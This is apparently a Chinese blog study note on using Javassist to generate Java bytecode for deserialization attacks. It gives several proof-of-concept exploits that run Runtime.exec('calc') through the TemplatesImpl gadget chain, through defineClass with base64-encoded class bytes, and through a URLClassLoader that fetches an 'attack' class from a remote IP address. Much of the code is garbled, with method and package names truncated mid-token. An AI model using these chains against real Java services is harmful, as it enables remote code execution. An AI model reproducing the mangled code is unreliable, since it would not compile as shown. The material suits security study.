Javassist

Javassist

Javassist-字节码 学习笔记

• 前言
• javassist
• 使用javassist创建自定义的class文件
• 通过加载本地恶意类字节码进行攻击
• 远程加载class文件
• 利用defineClass直接加载字节码
• TemplatesImpl加载字节码

前言

之前做Java反序列化的时候有用到Javassist，我个人觉得javassist和反射的功能差不多但javassist更加灵活和强大，今天就来学习一下。这里推荐看之前可以看一下类加载器还有javassist的中文文档

javassist

Javassit其实就是一个二方包，提供了运行时操作Java字节码的方法。大家都知道，Java代码编译完会生成.class文件，就是一堆字节码。JVM(准确说是JIT)会解释执行这些字节码(转换为机器码并执行)，由于字节码的解释执行是在运行时进行的，那我们能否手工编写字节码，再由JVM执行呢？答案是肯定的，而Javassist就提供了一些方便的方法，让我们通过这些方法生成字节码。

使用javassist创建自定义的class文件

import javassist.*;public class CreatePerson {/*** 创建一个Person 对象** @throws Exception*/public static void createPseson() throws Exception {ClassPool pool = Default();// 1. 创建一个空类CtClass cc = pool.makeClass("com.rickiyang.learn.javassist.Person");// 2. 新增一个字段 private String name;// 字段名为nameCtField param = new ("java.lang.String"), "name", cc);// 访问级别是 privateparam.setModifiers(Modifier.PRIVATE);// 初始值是 "xiaoming"cc.addField(param, stant("xiaoming"));// 3. 生成 getter、setter 方法cc.addMethod(CtNewMethod.setter("setName", param));cc.("getName", param));// 4. 添加无参的构造函数CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);cons.setBody("{name = "xiaohong";}");cc.addConstructor(cons);// 5. 添加有参的构造函数cons = new CtConstructor(new CtClass[]{("java.lang.String")}, cc);// $0=this / $1,$2,$3... 代表方法参数cons.setBody("{$0.name = $1;}");cc.addConstructor(cons);// 6. 创建一个名为printName方法，无参数，无返回值，输出name值CtMethod ctMethod = new CtMethod(CtClass.voidType, "printName", new CtClass[]{}, cc);ctMethod.setModifiers(Modifier.PUBLIC);ctMethod.setBody("{System.out.println(name);}");cc.addMethod(ctMethod);//这里会将这个创建的类对象编译为.class文件cc.writeFile("D:\IDEA旗舰版\PROJECT\maventest\maventest\maventest\src\main\java");}public static void main(String[] args) {try {createPseson();} catch (Exception e) {e.printStackTrace();}}
}

执行代码后会在指定的目录内生成 Person.class 文件：

下面是一个简单的命令执行POC

import com.sun.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.apache.xalan.ax.TemplatesImpl;
import com.sun.apache.xalan.ax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import flect.Field;public class Javassist_test {public static void main(String[] args) throws Exception{ClassPool pool = Default();  // 获取javassist维护的类池CtClass cc = pool.makeClass("Test");  // 创建一个空类TestString cmd = "java.Runtime().exec("calc");";cc.makeClassInitializer().insertBefore(cmd);  //insertBefore创建 static 代码块，并插入代码cc.(Name()));  //setSuperclass更改父类byte[] classBytes = cc.toBytecode();  //toBytecode()获取修改的字节码byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = wInstance();Field bytecodes = Class().getDeclaredField("_bytecodes");Field name = Class().getDeclaredField("_name");Field tfactory = Class().getDeclaredField("_tfactory");bytecodes.setAccessible(true);name.setAccessible(true);tfactory.setAccessible(true);bytecodes.set(templates,targetByteCodes);name.set(templates,"aaa");tfactory.set(templates,new TransformerFactoryImpl());wTransformer();}}

通过加载本地恶意类字节码进行攻击

这里利用了前面提到的TemplatesImpl攻击链

package com.rickiyang.learn.javassist;import com.sun.apache.xalan.internal.xsltc.DOM;
import com.sun.apache.xalan.internal.xsltc.TransletException;
import com.sun.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.l.internal.dtm.DTMAxisIterator;
import com.l.internal.serializer.SerializationHandler;import java.io.IOException;public class attack extends AbstractTranslet {//需要继承AbstractTranslet,因为在defineTransletClasses中会判断是否继承了这个类没有会报错public attack() {super();try {Runtime().exec("calc");}catch (Exception e){e.printStackTrace();}}//两种触发方式构造方法和静态代码块static {try {Runtime().exec(&#");} catch (IOException e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

import com.sun.apache.xalan.ax.TemplatesImpl;
import com.sun.apache.xalan.ax.TrAXFilter;
import com.sun.apache.xalan.ax.TransformerFactoryImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
l.transform.TransformerConfigurationException;
import java.io.IOException;
import flect.Field;public class javassistload {public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, InstantiationException, IllegalAccessException, NoSuchFieldException, TransformerConfigurationException {ClassPool classPool= Default();CtClass ctClass&#CtClass("com.rickiyang.learn.javassist.attack");byte[] classBytes&#Bytecode();byte[][] targetByteCodes = new byte[][]{classBytes};TemplatesImpl templates = wInstance();Field bytecodes = Class().getDeclaredField("_bytecodes");Field name = Class().getDeclaredField("_name");Field tfactory = Class().getDeclaredField("_tfactory");bytecodes.setAccessible(true);name.setAccessible(true);tfactory.setAccessible(true);bytecodes.set(templates,targetByteCodes);name.set(templates,"aaa");tfactory.set(templates,new TransformerFactoryImpl());wTransformer();}}

远程加载class文件

import java.MalformedURLException;
import java.URL;
import java.URLClassLoader;public class javassisttest2 {public static  void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {URL[] urls = {new URL("42.193.22.50:1234/")};URLClassLoader loader = new URLClassLoader(urls);Class clazz = loader.loadClass("attack");System.out.println(clazz);wInstance();}
}

下面是attack.java的代码，我们要把它编译后再放到我们的服务器上加载，上面的loadClass加载的是class文件

import java.io.IOException;
public class attack
{public attack() throws Runtime().exec("calc");}
}

利用defineClass直接加载字节码

import java.io.IOException;
import flect.InvocationTargetException;
import flect.Method;
import java.util.Base64;public class test
{public static  void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {Class clazz = Class.forName("java.lang.ClassLoader");Method defineClassMethod = DeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);defineClassMethod.setAccessible(true);byte[] bytes = Decoder().decode("yv66vgAAADQAHAoABgAPCgAQABEIABIKABAAEwcAFAcAFQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAWAQAKU291cmNlRmlsZQEAC2F0dGFjay5qYXZhDAAHAAgHABcMABgAGQEABGNhbGMMABoAGwEABmF0dGFjawEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABgAAAAAAAQABAAcACAACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAAAQABAAFAA0ABgALAAAABAABAAwAAQANAAAAAgAO");Class targetClass = (Class) defineClassMethod.SystemClassLoader(),"attack",bytes,0,bytes.length);wInstance();}
}

TemplatesImpl加载字节码

在实际场景中defineClass方法的作用域是不开放的，所以攻击者很少能直接利用到它，但defineClass()在TemplatesImpl内部的静态类TransletClassLoader被重载了，所以我们可以通过TemplatesImpl攻击链利用它

TemplatesImpl攻击链我之前也分析过，调用链如下所示

fastjson->getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()

defineTransletClasses()中会调用defineClass去加载 _bytecodes 中的 byte[]

这里我们的的调用链就不用fastjson触发了，我们可以把调用链写成下面这样

newTransformer()->getTransletInstance()->defineTransletClasses()->defineClass()

这里额外说一点

也就是说加载的字节码是有一定要求的：这个字节码对应的类必须 是 com.sun.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。

其他属性的设置大家可以看看我之前分析的TemplatesImpl攻击链

import com.sun.apache.xalan.internal.xsltc.DOM;
import com.sun.apache.xalan.internal.xsltc.TransletException;
import com.sun.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.l.internal.dtm.DTMAxisIterator;
import com.l.internal.serializer.SerializationHandler;public class attack2 extends AbstractTranslet {public attack2() throws Runtime().exec("calc");}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}public static void main(String[] args) throws Exception {attack2 aa=new attack2();}
}

POC可以这么写

import com.sun.apache.xalan.ax.TemplatesImpl;
import com.sun.apache.xalan.ax.TransformerFactoryImpl;import flect.Field;
import java.util.Base64;public class javassisttest3 {public static void main(String[] args) throws Exception {byte[] bytes = Decoder().decode("yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwoABQAWBwAcAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB0BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHAB4BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAApTb3VyY2VGaWxlAQAMYXR0YWNrMi5qYXZhDAAIAAkHAB8MACAAIQEABGNhbGMMACIAIwEAB2F0dGFjazIBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAcAAAAAAAQAAQAIAAkAAgAKAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAsAAAAOAAMAAAAIAAQACQANAAoADAAAAAQAAQANAAEADgAPAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAPAAwAAAAEAAEAEAABAA4AEQACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAFAAMAAAABAABABAACQASABMAAgAKAAAAJQACAAIAAAAJuwAFWbcABkyxAAAAAQALAAAACgACAAAAFwAIABgADAAAAAQAAQANAAEAFAAAAAIAFQ==");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{bytes});setFieldValue(templates,"_name","feng");setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());wTransformer();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = Class().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}}

参考文章
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